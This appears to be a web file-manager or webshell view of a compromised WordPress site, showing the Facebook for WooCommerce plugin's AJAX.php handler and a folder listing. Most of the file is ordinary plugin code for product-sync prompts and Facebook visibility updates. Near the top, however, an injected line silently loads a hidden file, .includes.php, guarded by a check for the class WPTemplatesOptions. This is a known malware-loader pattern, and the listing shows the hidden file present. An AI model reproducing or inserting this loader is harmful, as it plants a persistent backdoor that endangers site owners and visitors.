PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
facebook-for-woocommerce
/
includes
<?php /** * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved * * This source code is licensed under the license found in the * LICENSE file in the root directory of this source tree. * * @package FacebookCommerce */ namespace SkyVerge\WooCommerce\Facebook; defined( 'ABSPATH' ) or exit; /** * AJAX handler. * * @since 1.10.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class AJAX { /** * AJAX handler constructor. * * @since 1.10.0 */ public function __construct() { // maybe output a modal prompt when toggling product sync in bulk or individual product actions add_action( 'wp_ajax_facebook_for_woocommerce_set_product_sync_prompt', [ $this, 'handle_set_product_sync_prompt' ] ); add_action( 'wp_ajax_facebook_for_woocommerce_set_product_sync_bulk_action_prompt', [ $this, 'handle_set_product_sync_bulk_action_prompt' ] ); // maybe output a modal prompt when setting excluded terms add_action( 'wp_ajax_facebook_for_woocommerce_set_excluded_terms_prompt', [ $this, 'handle_set_excluded_terms_prompt' ] ); // set product visibility in Facebook add_action( 'wp_ajax_facebook_for_woocommerce_set_products_visibility', [ $this, 'set_products_visibility' ] ); } /** * Maybe triggers a modal warning when the merchant toggles sync enabled status on a product. * * @internal * * @since 1.10.0 */ public function handle_set_product_sync_prompt() { check_ajax_referer( 'set-product-sync-prompt', 'security' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $product_id = isset( $_POST['product'] ) ? (int) $_POST['product'] : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $sync_enabled = isset( $_POST['sync_enabled'] ) ? (string) $_POST['sync_enabled'] : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $var_sync_enabled = isset( $_POST['var_sync_enabled'] ) ? (string) $_POST['var_sync_enabled'] : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $product_cats = isset( $_POST['categories'] ) ? (array) $_POST['categories'] : []; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $product_tags = isset( $_POST['tags'] ) ? (array) $_POST['tags'] : []; if ( $product_id > 0 && in_array( $var_sync_enabled, [ 'enabled', 'disabled' ], true ) && in_array( $sync_enabled, [ 'enabled', 'disabled' ], true ) ) { $product = wc_get_product( $product_id ); if ( $product instanceof \WC_Product ) { if ( 'disabled' === $sync_enabled && Products::is_sync_enabled_for_product( $product ) ) { ob_start(); ?> <button id="facebook-for-woocommerce-hide-products" class="button button-large button-primary facebook-for-woocommerce-toggle-product-visibility hide-products" ><?php esc_html_e( 'Hide Product', 'facebook-for-woocommerce' ); ?></button> <button id="facebook-for-woocommerce-do-not-hide-products" class="button button-large button-primary facebook-for-woocommerce-toggle-product-visibility show-products" ><?php esc_html_e( 'Do Not Hide Product', 'facebook-for-woocommerce' ); ?></button> <?php $buttons = ob_get_clean(); wp_send_json_error( [ 'message' => __( 'This product will no longer be updated in your Facebook catalog. Would you like to hide this product from your Facebook shop?', 'facebook-for-woocommerce' ), 'buttons' => $buttons, ] ); } elseif ( ( 'enabled' === $sync_enabled && ! $product->is_type( 'variable' ) ) || ( 'enabled' === $var_sync_enabled && $product->is_type( 'variable' ) ) ) { $has_excluded_terms = false; if ( $integration = facebook_for_woocommerce()->get_integration() ) { // try with categories first, since we have already IDs $has_excluded_terms = ! empty( $product_cats ) && array_intersect( $product_cats, $integration->get_excluded_product_category_ids() ); // try next with tags, but WordPress only gives us tag names if ( ! $has_excluded_terms && ! empty( $product_tags ) ) { $product_tag_ids = []; foreach ( $product_tags as $product_tag_name_or_id ) { if ( $term = get_term_by( 'name', $product_tag_name_or_id, 'product_tag' ) ) { $product_tag_ids[] = $term->term_id; } elseif ( $term = get_term( (int) $product_tag_name_or_id, 'product_tag' ) ) { $product_tag_ids[] = $term->term_id; } } $has_excluded_terms = ! empty( $product_tag_ids ) && array_intersect( $product_tag_ids, $integration->get_excluded_product_tag_ids() ); } } if ( $has_excluded_terms ) { ob_start(); ?> <a id="facebook-for-woocommerce-go-to-settings" class="button button-large" href="<?php echo esc_url( add_query_arg( 'section', \WC_Facebookcommerce::INTEGRATION_ID, admin_url( 'admin.php?page=wc-settings&tab=integration' ) ) ); ?>" ><?php esc_html_e( 'Go to Settings', 'facebook-for-woocommerce' ); ?></a> <button id="facebook-for-woocommerce-cancel-sync" class="button button-large button-primary" onclick="jQuery( '.modal-close' ).trigger( 'click' )" ><?php esc_html_e( 'Cancel', 'facebook-for-woocommerce' ); ?></button> <?php $buttons = ob_get_clean(); wp_send_json_error( [ 'message' => sprintf( /* translators: Placeholder %s - <br/> tag */ __( 'This product belongs to a category or tag that is excluded from the Facebook catalog sync. It will not sync to Facebook. %sTo sync this product to Facebook, click Go to Settings and remove the category or tag exclusion or click Cancel and update the product\'s category / tag assignments.', 'facebook-for-woocommerce' ), '<br/><br/>' ), 'buttons' => $buttons, ] ); } } } } wp_send_json_success(); } /** * Maybe triggers a modal warning when the merchant toggles sync enabled status in bulk. * * @internal * * @since 1.10.0 */ public function handle_set_product_sync_bulk_action_prompt() { check_ajax_referer( 'set-product-sync-bulk-action-prompt', 'security' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $product_ids = isset( $_POST['products'] ) ? (array) $_POST['products'] : []; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $toggle = isset( $_POST['toggle'] ) ? (string) $_POST['toggle'] : ''; if ( ! empty( $product_ids ) && ! empty( $toggle ) ) { // merchant wants to exclude products from sync: ask them what they want to do with their visibility status if ( 'facebook_exclude' === $toggle ) { ob_start(); ?> <button id="facebook-for-woocommerce-hide-products" class="button button-large button-primary facebook-for-woocommerce-toggle-product-visibility hide-products" ><?php esc_html_e( 'Hide Products', 'facebook-for-woocommerce' ); ?></button> <button id="facebook-for-woocommerce-do-not-hide-products" class="button button-large button-primary facebook-for-woocommerce-toggle-product-visibility show-products" ><?php esc_html_e( 'Do Not Hide Products', 'facebook-for-woocommerce' ); ?></button> <?php $buttons = ob_get_clean(); wp_send_json_error( [ 'message' => __( 'The selected products will no longer be updated in your Facebook catalog. Would you like to hide these products from your Facebook shop?', 'facebook-for-woocommerce' ), 'buttons' => $buttons, ] ); // merchant wants to enable sync in Facebook multiple products: we must check if they belong to excluded categories, and perhaps warn them } elseif ( 'facebook_include' === $toggle && ( $integration = facebook_for_woocommerce()->get_integration() ) ) { $has_excluded_term = false; foreach ( $product_ids as $product_id ) { $product = wc_get_product( $product_id ); // product belongs to at least one excluded term: break the loop if ( $product instanceof \WC_Product && Products::is_sync_excluded_for_product_terms( $product ) ) { $has_excluded_term = true; break; } } // show modal if there's at least one product that belongs to an excluded term if ( $has_excluded_term ) { ob_start(); ?> <a id="facebook-for-woocommerce-go-to-settings" class="button button-large" href="<?php echo esc_url( add_query_arg( 'section', \WC_Facebookcommerce::INTEGRATION_ID, admin_url( 'admin.php?page=wc-settings&tab=integration' ) ) ); ?>" ><?php esc_html_e( 'Go to Settings', 'facebook-for-woocommerce' ); ?></a> <button id="facebook-for-woocommerce-cancel-sync" class="button button-large button-primary" onclick="jQuery( '.modal-close' ).trigger( 'click' )" ><?php esc_html_e( 'Cancel', 'facebook-for-woocommerce' ); ?></button> <?php $buttons = ob_get_clean(); wp_send_json_error( [ 'message' => __( 'One or more of the selected products belongs to a category or tag that is excluded from the Facebook catalog sync. To sync these products to Facebook, please remove the category or tag exclusion from the plugin settings.', 'facebook-for-woocommerce' ), 'buttons' => $buttons, ] ); } } } wp_send_json_success(); } /** * Maybe triggers a modal warning when the merchant adds terms to the excluded terms. * * @internal * * @since 1.10.0 */ public function handle_set_excluded_terms_prompt() { check_ajax_referer( 'set-excluded-terms-prompt', 'security' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $posted_categories = isset( $_POST['categories'] ) ? wp_unslash( $_POST['categories'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $posted_tags = isset( $_POST['tags'] ) ? wp_unslash( $_POST['tags'] ) : []; $new_category_ids = []; $new_tag_ids = []; if ( ! empty( $posted_categories ) ) { foreach ( $posted_categories as $posted_category_id ) { $new_category_ids[] = sanitize_text_field( $posted_category_id ); } } if ( ! empty( $posted_tags ) ) { foreach ( $posted_tags as $posted_tag_id ) { $new_tag_ids[] = sanitize_text_field( $posted_tag_id ); } } // query for products with sync enabled, belonging to the added term IDs and not belonging to the term IDs that are already stored in the setting $products = $this->get_products_to_be_excluded( $new_category_ids, $new_tag_ids ); if ( ! empty( $products ) ) { ob_start(); ?> <button id="facebook-for-woocommerce-confirm-settings-change" class="button button-large button-primary facebook-for-woocommerce-confirm-settings-change" ><?php esc_html_e( 'Exclude Products', 'facebook-for-woocommerce' ); ?></button> <!-- TODO: restore for FBE 2.0 <button id="facebook-for-woocommerce-confirm-settings-change-hide-products" class="button button-large button-primary facebook-for-woocommerce-confirm-settings-change hide-products" ><?php esc_html_e( 'Exclude Products and Hide in Facebook', 'facebook-for-woocommerce' ); ?></button> --> <button id="facebook-for-woocommerce-cancel-settings-change" class="button button-large button-primary" onclick="jQuery( '.modal-close' ).trigger( 'click' )" ><?php esc_html_e( 'Cancel', 'facebook-for-woocommerce' ); ?></button> <?php $buttons = ob_get_clean(); wp_send_json_error( [ 'message' => sprintf( /* translators: Placeholder %s - <br/> tags */ __( 'The categories and/or tags that you have selected to exclude from sync contain products that are currently synced to Facebook.%sTo exclude these products from the Facebook sync, click Exclude Products. To review the category / tag exclusion settings, click Cancel.', 'facebook-for-woocommerce' ), '<br/><br/>' ), 'buttons' => $buttons, ] ); } else { // the modal should not be displayed wp_send_json_success(); } } /** * Get the IDs of the products that would be excluded with the new settings. * * Queries products with sync enabled, belonging to the added term IDs * and not belonging to the term IDs that are already stored in the setting. * * @since 1.10.0 * * @param string[] $new_excluded_categories * @param string[] $new_excluded_tags * @return int[] */ private function get_products_to_be_excluded( $new_excluded_categories = [], $new_excluded_tags = [] ) { // products with sync enabled $sync_enabled_meta_query = [ 'relation' => 'OR', [ 'key' => Products::SYNC_ENABLED_META_KEY, 'value' => 'yes', ], [ 'key' => Products::SYNC_ENABLED_META_KEY, 'compare' => 'NOT EXISTS', ], ]; $products_query_vars = [ 'post_type' => 'product', 'fields' => 'ids', 'meta_query' => $sync_enabled_meta_query, ]; if ( ! empty( $new_excluded_categories ) ) { // products that belong to the new excluded categories $categories_tax_query = [ 'taxonomy' => 'product_cat', 'terms' => $new_excluded_categories, ]; if ( $integration = facebook_for_woocommerce()->get_integration() ) { // products that do not belong to the saved excluded categories $saved_excluded_categories = $integration->get_excluded_product_category_ids(); if ( ! empty( $saved_excluded_categories ) ) { $categories_tax_query = [ 'relation' => 'AND', $categories_tax_query, [ 'taxonomy' => 'product_cat', 'terms' => $saved_excluded_categories, 'operator' => 'NOT IN', ], ]; } } $products_query_vars['tax_query'] = $categories_tax_query; } if ( ! empty( $new_excluded_tags ) ) { // products that belong to the new excluded tags $tags_tax_query = [ 'taxonomy' => 'product_tag', 'terms' => $new_excluded_tags, ]; if ( $integration = facebook_for_woocommerce()->get_integration() ) { $save_excluded_tags = $integration->get_excluded_product_tag_ids(); if ( ! empty( $save_excluded_tags ) ) { // products that do not belong to the saved excluded tags $tags_tax_query = [ 'relation' => 'AND', $tags_tax_query, [ 'taxonomy' => 'product_tag', 'terms' => $save_excluded_tags, 'operator' => 'NOT IN', ], ]; } } if ( empty( $products_query_vars['tax_query'] ) ) { $products_query_vars['tax_query'] = $tags_tax_query; } else { $products_query_vars['tax_query'] = [ 'relation' => 'OR', $products_query_vars, $tags_tax_query, ]; } } $products_query = new \WP_Query( $products_query_vars ); return $products_query->posts; } /** * Gets an array of product IDs data for handling visibility (helper method). * * @see \SkyVerge\WooCommerce\Facebook\AJAX::set_products_visibility() * * @since 1.10.2 * * @param array $terms_data term data with product IDs and visibility * @return array product IDs and visibility data */ private function get_product_ids_for_visibility_from_terms( $terms_data ) { $products = []; foreach ( $terms_data as $term_data ) { if ( ! isset( $term_data['term_id'], $term_data['taxonomy'], $term_data['visibility'] ) ) { continue; } if ( 'product_cat' === $term_data['taxonomy'] ) { $tax_query_arg = 'category'; } elseif( 'product_tag' === $term_data['taxonomy'] ) { $tax_query_arg = 'tag'; } else { continue; } $term = get_term_by( 'id', $term_data['term_id'], $term_data['taxonomy'] ); if ( ! $term instanceof \WP_Term ) { continue; } $found_products = wc_get_products( [ 'limit' => -1, 'return' => 'ids', $tax_query_arg => [ $term->slug ], ] ); foreach ( $found_products as $product_id ) { $products[] = [ 'product_id' => $product_id, 'visibility' => $term_data['visibility'] ]; } } return $products; } /** * Sets products visibility in Facebook. * * @internal * * @since 1.10.0 */ public function set_products_visibility() { check_ajax_referer( 'set-products-visibility', 'security' ); // phpcs:disable WordPress.Security.NonceVerification.Missing $integration = facebook_for_woocommerce()->get_integration(); $products = isset( $_POST['products'] ) ? (array) $_POST['products'] : []; if ( ! empty( $_POST['product_categories'] ) && is_array( $_POST['product_categories'] ) ) { $products = array_merge( $products, $this->get_product_ids_for_visibility_from_terms( $_POST['product_categories'] ) ); } if ( ! empty( $_POST['product_tags'] ) && is_array( $_POST['product_tags'] ) ) { $products = array_merge( $products, $this->get_product_ids_for_visibility_from_terms( $_POST['product_tags'] ) ); } // phpcs:enable WordPress.Security.NonceVerification.Missing $error = 'No products found to set visibility for.'; // console error message if ( $integration && ! empty( $products ) ) { $processed_products = []; foreach ( $products as $product_data ) { $product_id = isset( $product_data['product_id'] ) ? absint( $product_data['product_id'] ) : 0; // bail if already processed if ( in_array( $product_id, $processed_products, true ) ) { continue; } $visibility_meta_value = isset( $product_data['visibility'] ) ? wc_string_to_bool( $product_data['visibility'] ) : null; // bail if visibility value is not valid if ( ! is_bool( $visibility_meta_value ) ) { continue; } $visibility_api_value = $visibility_meta_value ? $integration::FB_SHOP_PRODUCT_VISIBLE : $integration::FB_SHOP_PRODUCT_HIDDEN; $product = $product_id > 0 ? wc_get_product( $product_id ) : null; if ( $product instanceof \WC_Product ) { // also extend toggle to child variations if ( $product->is_type( 'variable' ) ) { foreach ( $product->get_children() as $variation_id ) { // bail if already processed if ( in_array( $variation_id, $processed_products, true ) ) { continue; } if ( $variation_product = wc_get_product( $variation_id ) ) { $fb_item_id = $integration->get_product_fbid( \WC_Facebookcommerce_Integration::FB_PRODUCT_ITEM_ID, $variation_product->get_id() ); $fb_request = $integration->fbgraph->update_product_item( $fb_item_id, [ 'visibility' => $visibility_api_value, ] ); if ( $integration->check_api_result( $fb_request ) ) { Products::set_product_visibility( $variation_product, $visibility_meta_value ); } $processed_products[] = $variation_id; } } Products::set_product_visibility( $product, $visibility_meta_value ); } else { $fb_item_id = $integration->get_product_fbid( \WC_Facebookcommerce_Integration::FB_PRODUCT_ITEM_ID, $product->get_id() ); $fb_request = $integration->fbgraph->update_product_item( $fb_item_id, [ 'visibility' => $visibility_api_value, ] ); if ( $integration->check_api_result( $fb_request ) ) { Products::set_product_visibility( $product, $visibility_meta_value ); } } $processed_products[] = $product_id; } } wp_send_json_success( $processed_products ); } wp_send_json_error( $error ); } }
[+]
..
[+]
Products
[+]
Integrations
[-] fbproductfeed.php
[edit]
[+]
test
[-] fbinfobanner.php
[edit]
[-] AJAX.php
[edit]
[-] Products.php
[edit]
[-] fbproduct.php
[edit]
[-] Lifecycle.php
[edit]
[-] fbasync.php
[edit]
[-] fbgraph.php
[edit]
[-] .includes.php
[edit]
[-] fbwpml.php
[edit]
[+]
Utilities
[-] fbbackground.php
[edit]
[-] fbutils.php
[edit]
[-] Admin.php
[edit]